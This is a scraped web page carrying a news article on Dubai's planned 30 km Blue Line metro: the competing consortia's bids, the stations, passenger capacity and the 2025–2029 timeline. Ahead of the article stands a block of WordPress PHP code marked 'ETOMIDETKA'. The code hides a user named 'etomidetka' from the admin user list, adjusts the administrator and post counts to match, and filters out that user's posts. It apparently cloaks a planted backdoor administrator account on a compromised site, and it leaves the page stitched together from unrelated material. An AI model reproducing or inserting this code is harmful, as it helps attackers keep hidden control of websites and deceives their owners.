//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Dubai Ambitious Blue Line Metro Project Nears Contract Award Stage
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Dubai Ambitious Blue Line Metro Project Nears Contract Award Stage

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Dubai Ambitious Blue Line Metro Project Nears Contract Award Stage

Dubai Ambitious Blue Line Metro Project Nears Contract Award Stage. The Road and Transport Authority (RTA) of Dubai is moving forward with one of its most significant infrastructure projects, the Blue Line metro, designed to strengthen Dubai public transportation system. This new metro line, stretching 30 kilometers, is anticipated to meet the high transport demands of Dubai rapidly growing population.

The RTA has now received updated proposals from international contractors eager to secure the contract for designing, building, and equipping this advanced transit line, promising to enhance connectivity in the city.

Major Contractors Competing for the Dubai Blue Line Project

Dubai’s RTA has shortlisted prominent international consortia, each with extensive experience in handling large-scale transport infrastructure projects. The competing groups submitted revised bids after initial proposals were reviewed. Here are the details of each consortium’s offer:

  • CAF, China Tiesiju Civil Engineering Group, and Arab Contractors (Egypt): Dirhams 22.2 billion (approximately $5.99 billion USD)
  • CRRC, Limak Holding (Turkey), and Mapa Group (Turkey): Dirhams 22.7 billion
  • Hitachi, Larsen & Toubro (India), Powerchina, and Wade Adams (UAE): Dirhams 23.9 billion
  • Alstom, FCC (Spain), and China State Construction Engineering Corporation: Dirhams 23.96 billion

While these bids exceed RTA original budget estimate of Dirhams 18 billion ($4.9 billion USD), each consortium brings distinct strengths and international expertise to the project.

Serving Key Population and Business Hubs

The Blue Line is strategically designed to serve high-density and high-demand areas across Dubai, connecting the city’s key business, residential, and academic centers. With a population exceeding one million, the areas served include Dubai Creek Harbour, Dubai Festival City, International City, Al Rashidiya, Al Warqa, Mirdif, Dubai Silicon Oasis, and Dubai Academic City.

Capacity and Efficiency of the New Line

The Blue Line will be designed to transport up to 56,000 passengers per hour in both directions. Trains will operate at short intervals of around 90 seconds, ensuring minimal wait times and smooth travel experiences for commuters.

Responsibilities of the Selected Contractor

The chosen contractor will take on a wide range of responsibilities, covering every aspect of the line’s construction and operation. Key components of the contract include:

  • Civil and Electromechanical Work: From foundational construction to advanced systems integration.
  • Supply of Driverless Trains: The line will feature 28 state-of-the-art driverless trains, equipped with cutting-edge rail systems.
  • Maintenance and Operations Support: A three-year support period for operations and maintenance will be provided to ensure smooth operation.
  • Depot Construction: A maintenance depot with a capacity to accommodate up to 60 trains will be built, along with necessary access roads, facilities, and utility diversion works.

Timeline for the Blue Line Project

The RTA aims to award the contract by the end of this year, paving the way for the project to commence as planned. Tunneling work is projected to begin in 2025, with trial operations scheduled for 2028. By 2029, the Blue Line is expected to be fully operational, providing Dubai’s residents and visitors with an advanced, efficient transportation option.

Transforming Dubai Transportation Landscape

The Blue Line project represents Dubai commitment to building a world-class public transportation network, designed to meet the needs of its growing population and position the city as a leader in urban mobility solutions.

This metro expansion not only aims to reduce traffic congestion but also supports Dubai sustainability goals, with an emphasis on reducing carbon emissions through high-capacity, eco-friendly transit options.

Key Features and Structure of the Dubai Blue Line

The Blue Line is planned to be a crucial part of Dubai’s metro network, consisting of both underground and elevated sections, totaling 30 kilometers. Here are some significant structural elements of the proposed line:

  • Underground Segment: 15.5 kilometers long, reaching a maximum depth of 70 meters, designed to accommodate the high-density urban areas in Dubai.
  • Elevated Segment: 14.5 kilometers, providing a scenic and efficient transport experience above ground.
  • Stations: Fourteen stations will be constructed, including nine elevated and five underground stations. The line will connect to Dubai’s major metro hubs like Centrepoint and Creek stations, enhancing integration with the existing Red and Green lines.

Conclusion

As Dubai continues to evolve into a global metropolis, the Blue Line metro project is poised to become a defining feature of the city infrastructure, shaping its future for years to come.

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